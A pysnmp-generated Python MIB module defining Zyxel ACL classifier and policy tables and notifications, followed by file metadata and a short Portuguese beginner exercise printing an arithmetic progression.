zyAclV2ClassifierEthernetPacketFormat = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("all", 1), ("ethernetIIUntagged", 2), ("ethernetIITagged", 3), ("ethernet802dot3Untagged", 4), ("ethernet802dot3Tagged", 5)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetPacketFormat.setStatus('current')
zyAclV2ClassifierEthernet8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernet8021pPriority.setStatus('current')
zyAclV2ClassifierEthernetInner8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetInner8021pPriority.setStatus('current')
zyAclV2ClassifierEthernetType = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetType.setStatus('current')
zyAclV2ClassifierEthernetSourceMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 7), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceMacAddress.setStatus('current')
zyAclV2ClassifierEthernetSourceMACMask = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 8), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceMACMask.setStatus('current')
zyAclV2ClassifierEthernetDestinationMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 9), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetDestinationMacAddress.setStatus('current')
zyAclV2ClassifierEthernetDestinationMACMask = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 10), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetDestinationMACMask.setStatus('current')
zyxelAclV2ClassifierVlanTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3), )
if mibBuilder.loadTexts: zyxelAclV2ClassifierVlanTable.setStatus('current')
zyxelAclV2ClassifierVlanEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"))
if mibBuilder.loadTexts: zyxelAclV2ClassifierVlanEntry.setStatus('current')
zyAclV2ClassifierVlanMap1k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap1k.setStatus('current')
zyAclV2ClassifierVlanMap2k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap2k.setStatus('current')
zyAclV2ClassifierVlanMap3k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap3k.setStatus('current')
zyAclV2ClassifierVlanMap4k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap4k.setStatus('current')
zyxelAclV2ClassifierInnerVlanTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4), )
if mibBuilder.loadTexts: zyxelAclV2ClassifierInnerVlanTable.setStatus('current')
zyxelAclV2ClassifierInnerVlanEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"))
if mibBuilder.loadTexts: zyxelAclV2ClassifierInnerVlanEntry.setStatus('current')
zyAclV2ClassifierInnerVlanMap1k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap1k.setStatus('current')
zyAclV2ClassifierInnerVlanMap2k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap2k.setStatus('current')
zyAclV2ClassifierInnerVlanMap3k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap3k.setStatus('current')
zyAclV2ClassifierInnerVlanMap4k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap4k.setStatus('current')
zyxelAclV2ClassifierIpTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5), )
if mibBuilder.loadTexts: zyxelAclV2ClassifierIpTable.setStatus('current')
zyxelAclV2ClassifierIpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"))
if mibBuilder.loadTexts: zyxelAclV2ClassifierIpEntry.setStatus('current')
zyAclV2ClassifierIpPacketLenRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpPacketLenRangeStart.setStatus('current')
zyAclV2ClassifierIpPacketLenRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpPacketLenRangeEnd.setStatus('current')
zyAclV2ClassifierIpDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 3), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpDSCP.setStatus('current')
zyAclV2ClassifierIpPrecedence = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpPrecedence.setStatus('current')
zyAclV2ClassifierIpToS = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpToS.setStatus('current')
zyAclV2ClassifierIpProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpProtocol.setStatus('current')
zyAclV2ClassifierIpEstablishOnly = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 7), EnabledStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpEstablishOnly.setStatus('current')
zyAclV2ClassifierIpSourceIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 8), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceIpAddress.setStatus('current')
zyAclV2ClassifierIpSourceIpMaskBits = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 9), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceIpMaskBits.setStatus('current')
zyAclV2ClassifierIpDestinationIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 10), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationIpAddress.setStatus('current')
zyAclV2ClassifierIpDestinationIpMaskBits = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 11), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationIpMaskBits.setStatus('current')
zyAclV2ClassifierIpSourceSocketRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 12), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceSocketRangeStart.setStatus('current')
zyAclV2ClassifierIpSourceSocketRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 13), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceSocketRangeEnd.setStatus('current')
zyAclV2ClassifierIpDestinationSocketRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 14), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationSocketRangeStart.setStatus('current')
zyAclV2ClassifierIpDestinationSocketRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 15), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationSocketRangeEnd.setStatus('current')
zyxelAclV2ClassifierIpv6Table = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6), )
if mibBuilder.loadTexts: zyxelAclV2ClassifierIpv6Table.setStatus('current')
zyxelAclV2ClassifierIpv6Entry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"))
if mibBuilder.loadTexts: zyxelAclV2ClassifierIpv6Entry.setStatus('current')
zyAclV2ClassifierIPv6DSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DSCP.setStatus('current')
zyAclV2ClassifierIPv6NextHeader = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIPv6NextHeader.setStatus('current')
zyAclV2ClassifierIPv6EstablishOnly = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 3), EnabledStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIPv6EstablishOnly.setStatus('current')
zyAclV2ClassifierIPv6SourceIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 4), InetAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIPv6SourceIpAddress.setStatus('current')
zyAclV2ClassifierIPv6SourceIpPrefixLength = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIPv6SourceIpPrefixLength.setStatus('current')
zyAclV2ClassifierIPv6DestinationIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 6), InetAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DestinationIpAddress.setStatus('current')
zyAclV2ClassifierIPv6DestinationIpPrefixLength = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DestinationIpPrefixLength.setStatus('current')
zyxelAclV2ClassifierMatchOrder = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("auto", 1), ("manual", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyxelAclV2ClassifierMatchOrder.setStatus('current')
zyxelAclV2ClassifierLoggingState = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 8), EnabledStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyxelAclV2ClassifierLoggingState.setStatus('current')
zyxelAclV2ClassifierLoggingInterval = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 9), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyxelAclV2ClassifierLoggingInterval.setStatus('current')
zyxelAclV2PolicyTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1), )
if mibBuilder.loadTexts: zyxelAclV2PolicyTable.setStatus('current')
zyxelAclV2PolicyEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2PolicyName"))
if mibBuilder.loadTexts: zyxelAclV2PolicyEntry.setStatus('current')
zyAclV2PolicyName = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 1), DisplayString())
if mibBuilder.loadTexts: zyAclV2PolicyName.setStatus('current')
zyAclV2PolicyState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 2), EnabledStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyState.setStatus('current')
zyAclV2PolicyClassifier = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 3), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyClassifier.setStatus('current')
zyAclV2PolicyVid = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyVid.setStatus('current')
zyAclV2PolicyEgressPort = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyEgressPort.setStatus('current')
zyAclV2Policy8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2Policy8021pPriority.setStatus('current')
zyAclV2PolicyDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyDSCP.setStatus('current')
zyAclV2PolicyTOS = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 8), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyTOS.setStatus('current')
zyAclV2PolicyBandwidth = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 9), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyBandwidth.setStatus('current')
zyAclV2PolicyOutOfProfileDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 10), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyOutOfProfileDSCP.setStatus('current')
zyAclV2PolicyForwardingAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("noChange", 1), ("discardThePacket", 2), ("doNotDropTheMatchingFramePreviouslyMarkedForDropping", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyForwardingAction.setStatus('current')
zyAclV2PolicyPriorityAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("noChange", 1), ("setThePackets802dot1Priority", 2), ("sendThePacketToPriorityQueue", 3), ("replaceThe802dot1PriorityFieldWithTheIpTosValue", 4), ("replaceThe802dot1PriorityByInner802dot1Priority", 5)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyPriorityAction.setStatus('current')
zyAclV2PolicyDiffServAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("noChange", 1), ("setThePacketsTosField", 2), ("replaceTheIpTosFieldWithThe802dot1PriorityValue", 3), ("setTheDiffservCodepointFieldInTheFrame", 4)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyDiffServAction.setStatus('current')
zyAclV2PolicyOutgoingAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 14), Bits().clone(namedValues=NamedValues(("sendThePacketToTheMirrorPort", 0), ("sendThePacketToTheEgressPort", 1), ("sendTheMatchingFramesToTheEgressPort", 2), ("setThePacketVlanId", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyOutgoingAction.setStatus('current')
zyAclV2PolicyMeteringState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 15), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyMeteringState.setStatus('current')
zyAclV2PolicyOutOfProfileAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 16), Bits().clone(namedValues=NamedValues(("dropThePacket", 0), ("changeTheDscpValue", 1), ("setOutDropPrecedence", 2), ("doNotDropTheMatchingFramePreviouslyMarkedForDropping", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyOutOfProfileAction.setStatus('current')
zyAclV2PolicyRowstatus = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 17), RowStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyRowstatus.setStatus('current')
zyAclV2PolicyQueueAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 18), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("noChange", 1), ("sendThePacketToPriorityQueue", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2PolicyQueueAction.setStatus('current')
zyAclV2TrapClassifierLogMatchCount = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 3, 1), Integer32())
if mibBuilder.loadTexts: zyAclV2TrapClassifierLogMatchCount.setStatus('current')
zyAclV2ClassifierLogNotification = NotificationType((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 4, 1)).setObjects(("ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"), ("ZYXEL-AclV2-MIB", "zyAclV2TrapClassifierLogMatchCount"))
if mibBuilder.loadTexts: zyAclV2ClassifierLogNotification.setStatus('current')
mibBuilder.exportSymbols("ZYXEL-AclV2-MIB", zyAclV2ClassifierInnerVlanMap1k=zyAclV2ClassifierInnerVlanMap1k, zyAclV2ClassifierIPv6DSCP=zyAclV2ClassifierIPv6DSCP, zyAclV2ClassifierEthernetInner8021pPriority=zyAclV2ClassifierEthernetInner8021pPriority, zyAclV2ClassifierInnerVlanMap4k=zyAclV2ClassifierInnerVlanMap4k, zyAclV2ClassifierEthernetPacketFormat=zyAclV2ClassifierEthernetPacketFormat, zyAclV2ClassifierVlanMap2k=zyAclV2ClassifierVlanMap2k, zyxelAclV2PolicyStatus=zyxelAclV2PolicyStatus, zyAclV2PolicyClassifier=zyAclV2PolicyClassifier, zyxelAclV2ClassifierInnerVlanTable=zyxelAclV2ClassifierInnerVlanTable, zyAclV2ClassifierIpEstablishOnly=zyAclV2ClassifierIpEstablishOnly, zyAclV2ClassifierEthernetType=zyAclV2ClassifierEthernetType, zyAclV2ClassifierEthernetSourceMacAddress=zyAclV2ClassifierEthernetSourceMacAddress, zyAclV2ClassifierIpSourceIpMaskBits=zyAclV2ClassifierIpSourceIpMaskBits, zyAclV2ClassifierEthernetDestinationMacAddress=zyAclV2ClassifierEthernetDestinationMacAddress, zyAclV2PolicyOutOfProfileDSCP=zyAclV2PolicyOutOfProfileDSCP, zyAclV2ClassifierIpDestinationSocketRangeEnd=zyAclV2ClassifierIpDestinationSocketRangeEnd, zyAclV2PolicyEgressPort=zyAclV2PolicyEgressPort, zyAclV2PolicyRowstatus=zyAclV2PolicyRowstatus, zyAclV2ClassifierEthernetSourceTrunks=zyAclV2ClassifierEthernetSourceTrunks, zyxelAclV2ClassifierInnerVlanEntry=zyxelAclV2ClassifierInnerVlanEntry, zyAclV2ClassifierLogNotification=zyAclV2ClassifierLogNotification, zyAclV2PolicyOutgoingAction=zyAclV2PolicyOutgoingAction, zyAclV2ClassifierIpDestinationIpAddress=zyAclV2ClassifierIpDestinationIpAddress, zyAclV2PolicyMeteringState=zyAclV2PolicyMeteringState, zyAclV2ClassifierInnerVlanMap2k=zyAclV2ClassifierInnerVlanMap2k, zyAclV2ClassifierIpPrecedence=zyAclV2ClassifierIpPrecedence, zyAclV2PolicyVid=zyAclV2PolicyVid, zyxelAclV2ClassifierEntry=zyxelAclV2ClassifierEntry, zyAclV2ClassifierIpDestinationIpMaskBits=zyAclV2ClassifierIpDestinationIpMaskBits, zyxelAclV2Notifications=zyxelAclV2Notifications, zyxelAclV2PolicyTable=zyxelAclV2PolicyTable, zyxelAclV2ClassifierMatchOrder=zyxelAclV2ClassifierMatchOrder, zyAclV2ClassifierIpDSCP=zyAclV2ClassifierIpDSCP, zyAclV2ClassifierWeight=zyAclV2ClassifierWeight, zyAclV2ClassifierMatchCount=zyAclV2ClassifierMatchCount, zyAclV2PolicyPriorityAction=zyAclV2PolicyPriorityAction, zyAclV2TrapClassifierLogMatchCount=zyAclV2TrapClassifierLogMatchCount, zyxelAclV2ClassifierEthernetEntry=zyxelAclV2ClassifierEthernetEntry, zyAclV2ClassifierIpPacketLenRangeStart=zyAclV2ClassifierIpPacketLenRangeStart, zyAclV2ClassifierEthernetSourceMACMask=zyAclV2ClassifierEthernetSourceMACMask, zyAclV2ClassifierEthernetDestinationMACMask=zyAclV2ClassifierEthernetDestinationMACMask, zyAclV2ClassifierVlanMap3k=zyAclV2ClassifierVlanMap3k, zyAclV2ClassifierTimeRange=zyAclV2ClassifierTimeRange, zyxelAclV2ClassifierIpv6Entry=zyxelAclV2ClassifierIpv6Entry, zyAclV2ClassifierIPv6EstablishOnly=zyAclV2ClassifierIPv6EstablishOnly, zyAclV2ClassifierIPv6DestinationIpPrefixLength=zyAclV2ClassifierIPv6DestinationIpPrefixLength, zyxelAclV2ClassifierIpEntry=zyxelAclV2ClassifierIpEntry, zyAclV2ClassifierIpToS=zyAclV2ClassifierIpToS, zyAclV2ClassifierEthernetSourcePorts=zyAclV2ClassifierEthernetSourcePorts, zyAclV2PolicyQueueAction=zyAclV2PolicyQueueAction, zyAclV2ClassifierIPv6NextHeader=zyAclV2ClassifierIPv6NextHeader, zyAclV2ClassifierVlanMap4k=zyAclV2ClassifierVlanMap4k, zyAclV2ClassifierEthernet8021pPriority=zyAclV2ClassifierEthernet8021pPriority, zyxelAclV2TrapInfoObjects=zyxelAclV2TrapInfoObjects, zyxelAclV2ClassifierIpTable=zyxelAclV2ClassifierIpTable, zyAclV2ClassifierIPv6SourceIpAddress=zyAclV2ClassifierIPv6SourceIpAddress, zyxelAclV2ClassifierLoggingState=zyxelAclV2ClassifierLoggingState, zyxelAclV2=zyxelAclV2, zyxelAclV2ClassifierIpv6Table=zyxelAclV2ClassifierIpv6Table, zyAclV2PolicyDiffServAction=zyAclV2PolicyDiffServAction, zyAclV2ClassifierIpDestinationSocketRangeStart=zyAclV2ClassifierIpDestinationSocketRangeStart, zyAclV2ClassifierVlanMap1k=zyAclV2ClassifierVlanMap1k, zyAclV2PolicyDSCP=zyAclV2PolicyDSCP, zyxelAclV2ClassifierEthernetTable=zyxelAclV2ClassifierEthernetTable, zyAclV2ClassifierLogState=zyAclV2ClassifierLogState, zyAclV2ClassifierInnerVlanMap3k=zyAclV2ClassifierInnerVlanMap3k, zyAclV2ClassifierIPv6SourceIpPrefixLength=zyAclV2ClassifierIPv6SourceIpPrefixLength, zyAclV2PolicyBandwidth=zyAclV2PolicyBandwidth, zyxelAclV2ClassifierLoggingInterval=zyxelAclV2ClassifierLoggingInterval, zyAclV2Policy8021pPriority=zyAclV2Policy8021pPriority, zyAclV2PolicyForwardingAction=zyAclV2PolicyForwardingAction, zyAclV2PolicyName=zyAclV2PolicyName, PYSNMP_MODULE_ID=zyxelAclV2, zyAclV2ClassifierName=zyAclV2ClassifierName, zyAclV2ClassifierIPv6DestinationIpAddress=zyAclV2ClassifierIPv6DestinationIpAddress, zyAclV2ClassifierState=zyAclV2ClassifierState, zyxelAclV2ClassifierVlanEntry=zyxelAclV2ClassifierVlanEntry, zyAclV2PolicyState=zyAclV2PolicyState, zyAclV2ClassifierIpSourceIpAddress=zyAclV2ClassifierIpSourceIpAddress, zyxelAclV2ClassifierTable=zyxelAclV2ClassifierTable, zyxelAclV2ClassifierStatus=zyxelAclV2ClassifierStatus, zyAclV2ClassifierIpSourceSocketRangeEnd=zyAclV2ClassifierIpSourceSocketRangeEnd, zyAclV2PolicyTOS=zyAclV2PolicyTOS, zyAclV2ClassifierIpPacketLenRangeEnd=zyAclV2ClassifierIpPacketLenRangeEnd, zyxelAclV2PolicyEntry=zyxelAclV2PolicyEntry, zyAclV2ClassifierIpProtocol=zyAclV2ClassifierIpProtocol, zyxelAclV2ClassifierVlanTable=zyxelAclV2ClassifierVlanTable, zyAclV2PolicyOutOfProfileAction=zyAclV2PolicyOutOfProfileAction, zyAclV2ClassifierIpSourceSocketRangeStart=zyAclV2ClassifierIpSourceSocketRangeStart, zyAclV2ClassifierCountState=zyAclV2ClassifierCountState)
| 144.324742 | 5,641 | 0.792314 | 2,770 | 27,999 | 8.007942 | 0.088448 | 0.009197 | 0.012713 | 0.016049 | 0.369038 | 0.350509 | 0.287666 | 0.283293 | 0.218736 | 0.210711 | 0 | 0.09709 | 0.075931 | 27,999 | 193 | 5,642 | 145.072539 | 0.760252 | 0.011572 | 0 | 0 | 0 | 0 | 0.099002 | 0.027073 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.053763 | 0 | 0.053763 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c76d58f2d02929d5eb4690fddd86e4d2f3a6dc3d | 244 | py | Python | Exercicios/ex061.py | jlsmirandela/Curso_Python | 2419b68d335a2a42beb3e98fb93552aca1264cae | [
"MIT"
] | null | null | null | Exercicios/ex061.py | jlsmirandela/Curso_Python | 2419b68d335a2a42beb3e98fb93552aca1264cae | [
"MIT"
] | null | null | null | Exercicios/ex061.py | jlsmirandela/Curso_Python | 2419b68d335a2a42beb3e98fb93552aca1264cae | [
"MIT"
] | null | null | null | print('-+-' *10)
print(' GERADOR DE PA')
print('+-+' * 10)
c = 1
ter = int(input('Insira o primeiro termo - '))
rz = int(input('Insira a razão - '))
while c <= 10:
print(ter, ' → ', end=' ')
ter += rz
c += 1
print('FIM')
